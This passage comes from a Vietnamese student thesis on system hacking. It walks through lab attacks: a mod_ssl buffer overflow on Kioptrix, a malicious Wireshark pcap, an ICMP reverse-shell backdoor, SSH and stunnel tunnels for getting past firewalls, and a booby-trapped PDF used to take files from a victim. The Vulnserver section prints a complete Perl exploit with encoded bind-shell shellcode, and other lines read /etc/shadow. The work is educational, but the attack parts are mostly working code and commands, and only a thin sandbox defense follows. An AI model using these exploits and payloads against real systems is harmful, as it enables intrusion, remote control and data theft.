Ví dụ ta có thể thực thi được các lệnh sau để kiểm tra

1234567890123456cat /etc/passwd

1234567890123456cat /etc/shadow

1234567890123456/bin/sh

10.2 Kioptrix level 1 mod_sslKioptrix là một hệ điều hành được tạo ra với mục đích sử dụng để học tấn công.

Kioptrix level 1 có lỗi buffer overflow trong module SSL của server web server Apache.

Sơ đồ :

Các bước thực hiện :

o Scan nmap xác định các host đang có trong đường mạng bằng câu lệnh “nmap –sP 192.168.1.1/24”. Ta xác định máy ta đang cần tấn công ở IP 192.168.1.238 như hình bên dưới

o Tiếp tục ta thực hiện quá trình scan chi tiết các thông số của IP 192.168.1.238 bằng câu lệnh “nmap –sS –sV –O 192.168.1.238 ”

o Ta thử scan lỗi ứng dụng web bằng công cụ nikto có sẵn trong Backtrack với câu lệnh “./nikto.pl -host 192.168.1.238 -Display 124”

o Ta thu được kết quả scan lỗi như hình bên dưới. Và bước kế tiếp ta sẽkhai thác lỗi “+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.”

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 65

o Ta sẽ tìm cách khai thác lỗi trong trang exploit-db.com. Để tìm code khai thác, ta có thể install thêm add on exploit-db search vào firefox

o Tiếp tục ta sẽ search từ khóa openssl trong exploit-db và sử dụng code OpenFuck V2.c

o Tiếp tục ta sẽ đi vào trang shared code exploit. Ta có thể vào trực tiếp với đường link http://www.exploit-db.com/exploits/764/

o Cài đặt thêm gói “libssl-dev” để Backtrack 5 có đầy đủ thư viện ssl dùng trong quá trình biên dịch

o Ta biên dịch chương trình chương trình bằng câu lệnh “gcc openfuck.c –o openfuck –lcrypto ”. Tuy nhiên khi biên dịch chương trình sẽ bị lỗi ta sẽ thêm vào thư viện trong chương trình. Mở chương trình lên bằng câu lệnh “vim openfuck.c” Đi đến dòng 19, Copy, Paste 2 lần Thay đổi 2 dòng đó như sau

#include <openssl/rc4.h>

#include <openssl/md5.h>

Đi đến dòng thứ 624 ta sẽ thấy chương trình sẽ download ptracekmod.c từ trang packetstormsecurity.nl . Ta sẽ tìm chương trình này trên google, đi vào trang http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod.c , copy file này về máy.

Thay thế đường dẫn download packetstormsecurity.nl bằng IP của Apache Server trên máy Back Track 5 là 192.168.1.237.Hoặc ta có thểsử dụng trực tiếp đường link http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod.c

o Ta biên dịch lại chương trình, chạy kiểm tra file đã biên dịch. Ta tấn công vào máy victim với IP 172.16.34.62, mã code 0x6b đại diện cho Red Hat Linux

10.3 Buffer Overflow Wireshark 1.4.4 Tấn công buffer overflow chương trình wireshark với version nhỏ hơn phiên bản

1.4.4.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 66

Tại máy victim ( Window XP ) ta sẽ cài đặt chương trình wireshark với phiên bản 1.4.3. Tại máy attacker ( Back track 5 ) ta sử dụng Metasploit để khai thác lỗi chương trình.

Mô hình :

Các bước thực hiện :

o Chuẩn bị 1 file .pcap malicious Ta sử dụng metasploit để tạo ra file .pcap độc hại. Vào giao diện

console ta chọn dạng tấn công là “exploit/windows/fileformat/wireshark_packet_dect”

Ta chọn phương thức payload là “reverse_tcp” và gán các thông sốLHOST, LPORT, FILENAME

Nhập vào câu lệnh “exploit” thì chương trình sẽ tạo ra file passwords.pcap tại vị trí “/root/.msf4/local”

Ta copy file này ra Desktop để dễ dàng cho quá trình thao táco Cấu hình Metasploit quản lý kết nối .

Ta sẽ sử dụng tính năng “multi/handler” với các giá trị LHOST và LPORT tương ứng với các port ta đã định nghĩa ở trên

Tại máy victim mở file passwords.pcap Attacker thực hiện phương án phát tán file passwords.pcap đến máy

victim Tại máy victim mở file passwords.pcap bằng chương trình Wireshark

1.4.3 Tại máy attacker ta sẽ thấy xuất hiện 1 Meterpreter Sessions

10.4 Vulnserver Vulnserver là một chương trình bị lỗi buffer overflow. Ta sẽ thực hiện các bước

kiểm tra lỗi, xác định địa chỉ EIP, ESP, chèn shellcode để khai thác lỗi chương trình.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 67

Mô hình :

Các bước thực hiện :

o Bước 1: Xác định chương trình bị lỗi buffer overflow. Trong bài lab này ta sửdụng chương trình vulnserver, ta start chương trình trong máy Window XP Từ máy Backtrack 5 ta thử telnet đến IP của Window XP ở port 9999.

Nhập vào từ “HELP” để kiểm tra các tính năng có trong chương trìnhCó khá nhiều cách để xác định chương trình có bị lỗi buffer overflow. Trong

Backtrack 5 ta có thể sử dụng SPIKE, chương trình này được sử dụng để gửi data liên tục đến các tính năng của chương trình. Đường dẫn đến chương trình SPIKE trong Backtrack 5 “/pentest/fuzzers/spike/src”, sử dụng chương trình ./generic_send_tcp . Ta thử start chương trình

Để hoạt động ta phải viết scripts có file mở rộng là *.spk để kết nối vào các function trong chương trình. Ví dụ ta kết nối vào function STATS của chương trình với scripts như sau

root@bt:~# nano ~/stat.spk

s_readline();

s_string(“STATS ”);

s_string_variable(“COMMAND”);

Tiếp tục ta sử dụng generic_send_tcp đọc file scripts để gửi data đến chương trình với câu lệnh như sau “./generic_send_tcp 192.168.100.113 9999 ~/stat.spk 0 0” . Ta thấy chương trình không bị lỗi.

Tiếp tục ta thử tính năng TRUN. Viết lại một script mới có nội dung như bên dưới và sử dụng generic_send_tcp tạo kết nối đến chương trình vulnserverroot@bt:~# nano ~/trunk.spk

s_readline();

s_string(“TRUN ”);

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 68

s_string_variable(“COMMAND”);

Hoặc đơn giản hơn ta thực thi đoạn perl script để gửi data với kích thước do ta xác định như sau

#!/usr/bin/perl

use IO::Socket;

if($ARGV[1] eq '')

{

die("Usage: $0 ipaddress port \n\n");

}

$baddata="TRUN .";

$baddata.="A"x $ARGV[2];

$socket=IO::Socket::INET->new(

Proto=> "tcp",

PeerAddr=>"$ARGV[0]",

PeerPort=>"$ARGV[1]"

)or die"Can not connect to $ARGV[0]:$ARGV[1]";

$socket->recv($serverdata,1024);

print"$serverdata";

$socket->send($baddata);

o Bước 2: sử dụng perl script thử kết nối đến máy victim XP có IP 192.168.1.103/24 và gửi 5000 bytes dữ liệu thì chương trình bị crash. Tiếp tục ta thử với 2000 byte dữ liệu thì chương trình không bị crash Kiểm tra với 3000 byte dữ liệu thì chương trình bị crash Như vậy trong khoảng 2000 – 3000 byte thì chương trình bị crash.

o Bước 3: Sau khi xác định được ứng dụng đó bị lỗi stack overflow ta sẽ thực hiện các bước sau: Tìm kiếm 4 byte bên trong data gửi. Nó được sử dụng đểoverwrite

return address. Vì vậy ta có thể thiết lập EIP đến một giá trị đã được chọn.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 69

Tìm kiếm code mà ta muốn thực thi. Ta có thể sử dụng code có sẵn trong hệ thống hoặc thêm vào code của mình. Ở đây ta sửmsfpayload kết hợp msfencode để tạo ra code.

Tìm kiếm cách điều khiển EIP để code hoạt động theo ý mình mong muốn. Bởi vì giá trị EIP sẽ bị overwrite với 1 giá trị đã được lập trình trước. Ta không thể đoán được chính xác địa chỉ trong vùng nhớ mà code chương trình thực thi. Ta sẽ thử tìm kiếm nhiều lần để xác định giá trị vùng nhớ.

Ta sẽ xác định chính xác bytes bằng cách sử dụng chuỗi “A” để overwrite return address.

o Bước 4: Tìm kiếm địa chỉ overwrite. Có nhiều cách để xác định số byte chính xác mà chương trình sẽ bị lỗi. Ta có thể sử dụng pattern_create.rb và pattern_offset.rb có trong metasploit. Pattern_create.rb được sử dụng đểsinh ra các chuỗi từ theo A-Z, a-z, 0-9 với độ dài ta xác định. Pattern_offset.rb được sử dụng xác định chuyển đổi giá trị EIP thành sốlượng byte mà chương trình sẽ bị crash. Ta sử dụng Pattern_create.rb để tạo ra 3000 byte dữ liệu. Sau đó sử

dụng chuỗi sinh ra trên màn hình làm data gửi đến chương trình. Copy đoạn chuỗi vào perl script để gửi data.

#!/usr/bin/perl

use IO::Socket;

if($ARGV[1] eq '')

{

die("Usage: $0 ipaddress port \n\n");

}

$baddata="TRUN .";

$baddata.="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4ABs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu9………..";

$socket=IO::Socket::INET->new(

Proto=> "tcp",

PeerAddr=>"$ARGV[0]",

PeerPort=>"$ARGV[1]"

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 70

)or die"Can not connect to $ARGV[0]:$ARGV[1]";

$socket->recv($serverdata,1024);

print"$serverdata";

$socket->send($baddata);

Ở máy XP sử dụng chương trình Ollydbg để mở chương trình vulnserver. Backtrack 5 thực hiện gửi 3000 byte dữ liệu đến máy XP. Sau đó tìm kiếm giá trị EIP khi chương trình bị crash ( ở bảng Register (FPU) ) Giá trị EIP 396F4338

Ta chuyển đổi xem ứng với giá trị EIP 396F4338 thì tương ứng với bao nhiêu

byte. Sử dụng công cụ pattern_offset.rb để convert EIP 396F4338 thì tương ứng 2006 bytes.

Giả sử số 2006 byte là con số có thể overwrite EIP, ta có thể kiểm tra bằng cách gửi 2006 ký tự là chữ A, sau đó là 4 byte ký tự chữ B, còn lại là ký tựchữ C. Ta thực thi perl script sau

#!/usr/bin/perl

use IO::Socket;

if($ARGV[1] eq '')

{

die("Usage: $0 ipaddress port \n\n");

}

$baddata="TRUN .";

$baddata.="A"x 2006;

$baddata.="B"x 4;

$baddata.="C"x (3000 - length($baddata));

$socket=IO::Socket::INET->new(

Proto=> "tcp",

PeerAddr=>"$ARGV[0]",

PeerPort=>"$ARGV[1]"

)or die"Can not connect to $ARGV[0]:$ARGV[1]";

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 71

$socket->recv($serverdata,1024);

print"$serverdata";

$socket->send($baddata);

=>Như vậy ta đã overwrite được EIP với giá trị 42424242

o Bước 5: Xác định vị trị đặt mã độc. Dựa trên kết quả trên màn hình ollydbg thì ta đã chèn vào trong chương trình hàng loạt ký tự C . Đây chính là vị trí đểta đặt code thực thi mã độc. Ta sử dụng công cụ mspayload kết hợp msfencode để sinh ra code và thay thế các ký tự C bằng mã độc này.root@bt ~# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b \x00\x0A\x0D -t perl \xba\x18\x31\x19\xb2\xdb\xda\xd9\x74\x24\xf4\x5b\x33\xc9" ."\xb1\x56\x31\x53\x13\x83\xeb\xfc\x03\x53\x17\xd3\xec\x4e" ."\xcf\x9a\x0f\xaf\x0f\xfd\x86\x4a\x3e\x2f\xfc\x1f\x12\xff" ."\x76\x4d\x9e\x74\xda\x66\x15\xf8\xf3\x89\x9e\xb7\x25\xa7" ."\x1f\x76\xea\x6b\xe3\x18\x96\x71\x37\xfb\xa7\xb9\x4a\xfa" ."\xe0\xa4\xa4\xae\xb9\xa3\x16\x5f\xcd\xf6\xaa\x5e\x01\x7d" ."\x92\x18\x24\x42\x66\x93\x27\x93\xd6\xa8\x60\x0b\x5d\xf6" ."\x50\x2a\xb2\xe4\xad\x65\xbf\xdf\x46\x74\x69\x2e\xa6\x46" ."\x55\xfd\x99\x66\x58\xff\xde\x41\x82\x8a\x14\xb2\x3f\x8d" ."\xee\xc8\x9b\x18\xf3\x6b\x68\xba\xd7\x8a\xbd\x5d\x93\x81" ."\x0a\x29\xfb\x85\x8d\xfe\x77\xb1\x06\x01\x58\x33\x5c\x26" ."\x7c\x1f\x07\x47\x25\xc5\xe6\x78\x35\xa1\x57\xdd\x3d\x40" ."\x8c\x67\x1c\x0d\x61\x5a\x9f\xcd\xed\xed\xec\xff\xb2\x45" ."\x7b\x4c\x3b\x40\x7c\xb3\x16\x34\x12\x4a\x98\x45\x3a\x89" ."\xcc\x15\x54\x38\x6c\xfe\xa4\xc5\xb9\x51\xf5\x69\x11\x12" ."\xa5\xc9\xc1\xfa\xaf\xc5\x3e\x1a\xd0\x0f\x49\x1c\x1e\x6b"."\x1a\xcb\x63\x8b\x8d\xdc\xed\x6d\xc7\xf2\xbb\x26\x7f\x31" ."\x98\xfe\x18\x4a\xca\x52\xb1\xdc\x42\xbd\x05\xe2\x52\xeb" ."\x26\x4f\xfa\x7c\xbc\x83\x3f\x9c\xc3\x89\x17\xd7\xfc\x5a" ."\xed\x89\x4f\xfa\xf2\x83\x27\x9f\x61\x48\xb7\xd6\x99\xc7" ."\xe0\xbf\x6c\x1e\x64\x52\xd6\x88\x9a\xaf\x8e\xf3\x1e\x74" ."\x73\xfd\x9f\xf9\xcf\xd9\x8f\xc7\xd0\x65\xfb\x97\x86\x33" . "\x55\x5e\x71\xf2\x0f\x08\x2e\x5c\xc7\xcd\x1c\x5f\x91\xd1" ."\x48\x29\x7d\x63\x25\x6c\x82\x4c\xa1\x78\xfb\xb0\x51\x86" ."\xd6\x70\x61\xcd\x7a\xd0\xea\x88\xef\x60\x77\x2b\xda\xa7" ."\x8e\xa8\xee\x57\x75\xb0\x9b\x52\x31\x76\x70\x2f\x2a\x13" ."\x76\x9c\x4b\x36

o Bước 6: Chuyển hướng chương trình thực thi mã độc. Theo lý thuyết nếu như ta đã xác định chính xác địa chỉ stack, tại địa chỉ này được sử dụng đểlưu trữ code thực thi mã độc, thì ta đơn giản overwrite EIP address để thực thi code. Tuy nhiên trong Window thì việc này không dễ dàng. Ta sẽ

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 72

sử dụng chương trình Ollydbg để hỗ trợ cho ta việc này. Các việc ta cần phải làm là thay thế các ký tự “C” bằng mã độc. Thay thế ký tự B ( được sử dụng đểoverwrite EIP ) bằng “JMP ESP” instruction . Như vậy CPU sẽ thực thi “JMP ESP” được sử dụng để sau đó chuyển hướng thực thi mã độc. “ JMP ESP ” được lưu trữ trên bộ nhớ và kết nối vào ESP register Các bước tìm ESP register address. Window XP, sử dụng Ollydbg

mởvulnserver. Tại máy Backtrack 5 thực hiện gửi lại 2006 Byte chữ A, 4 Byte chữ B và phần còn lại là chữ C đến máy Window XP. Ta có được màn hình như sau Tiếp tục ta chọn View, chọn Execute Module Double Click vào dòng có chữ essfunc.dll và search “JMP ESP” Giá trị ESP 625011AF

o Bước 7: Perl Script để khai thác lỗi chương trình.Thông qua các thông số thu thập được ở trên, ta sẽ có script khai thác:

#!/usr/bin/perl

use IO::Socket;

if($ARGV[1] eq '')

{

die("Usage: $0 ipaddress port \n\n");

}

$baddata="TRUN .";

$baddata.="A"x 2006;

$baddata.=pack('V',0x625011AF);

$baddata.="\x90" x 16;

$baddata.="\xba\x18\x31\x19\xb2\xdb\xda\xd9\x74\x24\xf4\x5b\x33\x

c9" .

"\xb1\x56\x31\x53\x13\x83\xeb\xfc\x03\x53\x17\xd3\xec\x4e" .

"\xcf\x9a\x0f\xaf\x0f\xfd\x86\x4a\x3e\x2f\xfc\x1f\x12\xff" .

"\x76\x4d\x9e\x74\xda\x66\x15\xf8\xf3\x89\x9e\xb7\x25\xa7" .

"\x1f\x76\xea\x6b\xe3\x18\x96\x71\x37\xfb\xa7\xb9\x4a\xfa" .

"\xe0\xa4\xa4\xae\xb9\xa3\x16\x5f\xcd\xf6\xaa\x5e\x01\x7d" .

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 73

"\x92\x18\x24\x42\x66\x93\x27\x93\xd6\xa8\x60\x0b\x5d\xf6" .

"\x50\x2a\xb2\xe4\xad\x65\xbf\xdf\x46\x74\x69\x2e\xa6\x46" .

"\x55\xfd\x99\x66\x58\xff\xde\x41\x82\x8a\x14\xb2\x3f\x8d" .

"\xee\xc8\x9b\x18\xf3\x6b\x68\xba\xd7\x8a\xbd\x5d\x93\x81" .

"\x0a\x29\xfb\x85\x8d\xfe\x77\xb1\x06\x01\x58\x33\x5c\x26" .

"\x7c\x1f\x07\x47\x25\xc5\xe6\x78\x35\xa1\x57\xdd\x3d\x40" .

"\x8c\x67\x1c\x0d\x61\x5a\x9f\xcd\xed\xed\xec\xff\xb2\x45" .

"\x7b\x4c\x3b\x40\x7c\xb3\x16\x34\x12\x4a\x98\x45\x3a\x89" .

"\xcc\x15\x54\x38\x6c\xfe\xa4\xc5\xb9\x51\xf5\x69\x11\x12" .

"\xa5\xc9\xc1\xfa\xaf\xc5\x3e\x1a\xd0\x0f\x49\x1c\x1e\x6b" .

"\x1a\xcb\x63\x8b\x8d\xdc\xed\x6d\xc7\xf2\xbb\x26\x7f\x31" .

"\x98\xfe\x18\x4a\xca\x52\xb1\xdc\x42\xbd\x05\xe2\x52\xeb" .

"\x26\x4f\xfa\x7c\xbc\x83\x3f\x9c\xc3\x89\x17\xd7\xfc\x5a" .

"\xed\x89\x4f\xfa\xf2\x83\x27\x9f\x61\x48\xb7\xd6\x99\xc7" .

"\xe0\xbf\x6c\x1e\x64\x52\xd6\x88\x9a\xaf\x8e\xf3\x1e\x74" .

"\x73\xfd\x9f\xf9\xcf\xd9\x8f\xc7\xd0\x65\xfb\x97\x86\x33" .

"\x55\x5e\x71\xf2\x0f\x08\x2e\x5c\xc7\xcd\x1c\x5f\x91\xd1" .

"\x48\x29\x7d\x63\x25\x6c\x82\x4c\xa1\x78\xfb\xb0\x51\x86" .

"\xd6\x70\x61\xcd\x7a\xd0\xea\x88\xef\x60\x77\x2b\xda\xa7" .

"\x8e\xa8\xee\x57\x75\xb0\x9b\x52\x31\x76\x70\x2f\x2a\x13" .

"\x76\x9c\x4b\x36";

$socket=IO::Socket::INET->new(

Proto=> "tcp",

PeerAddr=>"$ARGV[0]",

PeerPort=>"$ARGV[1]"

)or die"Can not connect to $ARGV[0]:$ARGV[1]";

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 74

$socket->recv($serverdata,1024);

print"$serverdata";

$socket->send($baddata);

Sau khi thực thi script thì máy victim sẽ mở port 4567. Ta có thể telnet vào máy Window XP ở port 4567.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 75

Chương 11 : Evade IDS Firewall

11.1 Reverse ICMP BackdoorThông thường giao thức ICMP thường được sử dụng để kiểm tra đường truyền.

Nếu như một firewall cho phép ICMP hoạt động thì attacker có thể lợi dụng đường này để điều khiển máy attacker.

Sơ đồ :

Các bước thực hiện:

o Bước 1: Sử dụng một máy Linux làm master. Máy Linux có IP là 192.168.1.100 Tại máy Linux ta cần install thêm thư viện Python Impacket library để

hoạt động được chương trình. Ta có thể download tại đường link http://oss.coresecurity.com/projects/impacket.html

root@nhanld-virtual-machine:/home/nhanld/Desktop# tar xvf Impacket-0.9.6.0.tar.gz

root@nhanld-virtual-machine:/home/nhanld/Desktop# cd Impacket-0.9.6.0

root@nhanld-virtual-machine:/home/nhanld/Desktop/Impacket-0.9.6.0# python ./setup.py install

Để chương trình hoạt động tốt ta sẽ disable ICMP Rely trong kernel Linux

root@nhanld-virtual-machine:/home/nhanld/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1

o Bước 2: Khởi động ICMP master tại máy Linux bằng câu lệnh “python icmpsh_m.py 192.168.1.100 192.168.1.10” với IP 192.168.1.100 là IP master (Linux), 192.168.1.10 (Window) là IP PC Slave

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 76

o Bước 3: Tại máy Window XP đóng vai trò là Slave sẽ kết nối đến ICMP Master.

-t : kết nối đến host master

-d: độ trễ request là 500 miliseconds

-b: maximum kết nối

-s: maximum data trong buffer size

o Bước 4: Tại máy Linux Master sẽ có được giao diện dòng lệnh đều khiển máy Window XP

11.2 SSH TunnelGiao thức SSH (TCP/22) thường được sử dụng để quản trị các máy chủ linux. Các

rule firewall cũng thường cho phép giao thức SSH. Nhưng SSH mặc định cho phép truyền một giao thức khác bên trong ssh tunnel của nó. Các attacker có thể lợi dụng việc này để vượt qua firewall.

Mô hình luận lý :

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 77

Các bước thực hiện :

o Bước 1:Ở bài lab này ta sẽ sử dụng một máy Linux đóng vai trò làm SSH Server. Một máy PC đóng vai trò làm Client. Ta sẽ thử login vào một host nào đó đểkiểm tra quá trình kết nối.Tại SSH Server ta cấu hình IP là 192.168.100.117/24 và default gateway là 192.168.100.254. Sau khi cấu hình xong ta kiểm tra các thông số

o Bước 2: Tại máy client ta sẽ sử dụng chương trình Putty để login. Sau đó cấu hình tính năng Port forwarding

o Bước 3: Ta chọn vào mục Tunnel, Check vào nút Auto và Dynamic. Tại Source Port, ta nhập vào port bất kỳ. Ở đây ta nhập vào port là 9090 . Click Add và login vào SSH Server

o Bước 4: Kiểm tra trạng thái kết nối tại máy PC bằng câu lệnh netstat –ano. Tiếp tục ta sẽ thấy rằng máy tính đang Listen ở port 9090 ứng với IP localhost

o Bước 5: Cấu hình sử dụng Proxy Sock 5 tại trình duyệt Web hoặc ta có thể cấu hình Yahoo Messenger sử dụng làm Proxy

o Bước 6: Nếu như ta sử dụng giao diện dòng lệnh của linux, ta có thể sử dụng câu lệnh bên dưới

[nhanld@linux ~]$ sudo ssh -L 127.0.0.1:40000:192.168.200.99:3389

[email protected]

[nhanld@linux ~]$ sudo rdesktop -f -u nhanld -p password

127.0.0.1:40000

o Bước 7: Nếu Sử dụng Bitvise Tunnel, đầu tiên ta cấu hình tạo kết nối SSH đển SSH Server Tiếp tục ta cấu hình Port Forwarding trên Bitvise Tunnel Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:5000 để kết nối đến máy

Windowo Bước 8: Nếu như ta thực hiện trên công cụ SecureCRT Ta chọn options,

chọn session options Ta chọn tính năng port forwarding và click nút Add Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:6000 để kết nối đến máy

Window 192.168.2.99

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 78

11.3 StunnelTa sử dụng chương trình stunnel để tạo ra một SSL Tunnel giữa máy Window và

Linux.

Máy Window đóng vai trò là Stunnel Server và máy linux ( Backtrack 5 ) đóng vai trò là Stunnel client. Sau khi thiết lập được kết nối stunnel ta sẽ truyền một giao thức khác hoạt động bên trong stunnel.

Mô hình :

Các bước thực hiện:

o Chuẩn bị các kết nối theo thông số ví dụ bên dưới Máy Win XP ( 192.168.100.1) làm Stunnel Server Máy Backtrack 5 ( 192.168.100.2 ) là Stunnel Client Sử dụng netcat gửi traffic trong Stunnel

o Cấu hình tại Window XP đóng vai trò là Stunnel Server Install các software cần thiết cho XP Nếu như Stunnel không tạo ra Certificate thì ta sử dụng lệnh bên dưới

để tạo Certificate . sử dụng giao diện dòng lệnh của OpenSSLOpenssl req-x 509 -nodes -days 3650 -newkey rsa:2048 -keyout stunnel.pem -out stunnle.pem

o Thay đổi thông số file stunnel.conf . ghi thêm vào trong cấu hình server Accept : port chương trình Stunnel hoat động ở port 1234 Connect : port của chương trình hoạt động thông qua Stunnel . Giả sử ta đang sử dụng netcat hoạt động ở port 5678 Kích hoạt stunnel hoạt động: chuột phải vào Stunnel và chọn Reload stunnel.conf Kiểm tra port đang listen ở Stunnel server bằng câu lệnh “ netstat –bano

| find “1234” “ Khởi động netcat listen ở port 5678

o Cấu hình Stunnel Client mode trên máy Backtrack5. Ta chuyển đến vị trí “ /usr/local/etc/stunnel ” và chuyển tên file lại thành stunnel.conf

o Cấu hình tạo Certificate bằng câu lệnh openssl như hình bên dưới.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 79

o Cấu hình file stunnel.conf Thay đổi các giá tri trong file stunnel.conf

; Certificate/key is needed in server mode and optional in client

mode

cert = /usr/local/etc/stunnel/stunnel.pem

sslversion = TLSv1

;SSL client mode

client = yes

# thêm vào giá trị

Connect : Kết nối đến máy IP máy win XP Stunnel server mode ở port1234

Accept : Port chương trình netcat sẽ kết nối ở localhost ở port 5678

o Kích hoạt Stunnel Win XP ta thấy kết nối từ máy 192.168.100.2

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 80

Chương 12 : Hướng dẫn tấn công máy victim bằng file pdf

12.1 Hướng dẫn tấn công

Gõ lệnh msfconsole để khởi động metaploit

Vì đây là lỗi trong mang LAN nên yêu cầu ip máy backtrack phải cùng lớp với IP máy victim

Gõ lệnh ifconfig để xem IP

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 81

Ta dùng lệnh ipconfig để xem IP máy victim

Sau đó ping địa chỉ IP máy backtrack xem nó thấy nhay hay không

Sau khi metaploit khởi động xong , gõ tiếp câu lệnh :Use exploit/windows/fileformat/adobe_pdf_embedded_exe ( để chọn lỗi mà ta sẽ dùng để tấn công )

Gõ tiếp : show options

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 82

Sau khi show options , nó sẽ đưa ra các thông tin về lỗi mà chúng ta dùng

Set filename : nghĩa là đặt tên cho file chứa mã đọcSet infilename : chuyển đổi từ file pdf mà chúng ta chuẩn bị từ trướcSet payload : kiểu tấn côngSet Lhost : gõ ip máy mình vào ( ở đây là 192.168.183.128 )Dùng lệnh exploit để thực thi

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 83

cp /root/.msf4/local/hack.pdf /root/Desktop : câu lệnh này sẽ tạo ra 1 file pdf chứa mã đọc có tên là hack.pdf , và nó được đặt ngay ngoài Desktopuse exploit/multi/handler : tạo 1 phiên lắng ngheSet lại lhost ( với IP giống IP mà chúng ta sét ở trên ) rồi sau đó exploit là xong

Chỉ cần gửi file chứa mã đọc đến máy nạn nhân , khi nạn nhân mở file nó sẽ yêu cầu save lại , rồi hỏi có muốn open hay ko , chỉ cần nhấn open thì máy sẽ bị tấn công

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 84

Máy backtrack đã xâm nhập thành công , và nó gửi 1 file ( 752128 byte ) đến máy victim

Ta dùng lệnh : cd C:/ ( lệnh này sẽ di chuyển đến ổ C của máy victim )

Dùng lệnh : ls ( liệt kê tất cả các tập tin trong ổ C )

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 85

Trên máy victim ta vào ổ C tạo 1 file tên taikhoan.txt ( nội dung trong file là id : tho pass:123456 )

Trên máy backtrack dùng lệnh ls để liệt kê lại thì thấy file taikhoan.txt Dùng lệnh : download C:/taikhoan.txt /root/Desktop/( câu lệnh này sẽ download file taikhoan.txt từ ổ C của máy victim và đặt trên Desktop của chúng ta )

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 86

12.2 Cách phòng chống

Tải phần mêm sandbox về máy

Sau đó ta tiến hành cài đặt , và đây là giao diện của phần mềm sandbox

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 87

Nếu bạn nghi ngờ file nào không đáng tin cậy thì bạn bỏ vào trong , ở đây ta sẽ chạy file hack.pdf khi nãy Ở đây chỉ mở file hack.pdf , nhưng nó đã tự động mở thêm 1 số cái khác

Máy backtrack vẫn xâm nhập vào máy victim bình thường Dùng lệnh : cd C:/ ( để di chuyển đến ổ C của máy victim )Sau đó thử dùng lệnh : upload /root/Desktop/file.pdf C:/ ( ta sẽ send 1 file có tên file.pdf đến máy victim )

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 88

Câu lệnh vẫn chạy OK nhưng bên máy victim thì không thấy file.pdf mà backtrack đã gửi qua

Trên máy backtrack ta dùng lệnh : ls Nó đã liệt kê tất cả các thư mục trong ổ C luôn cả file.pdf mà khi nãy đã gửi mặc dù trên máy victim thì không nhận được

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình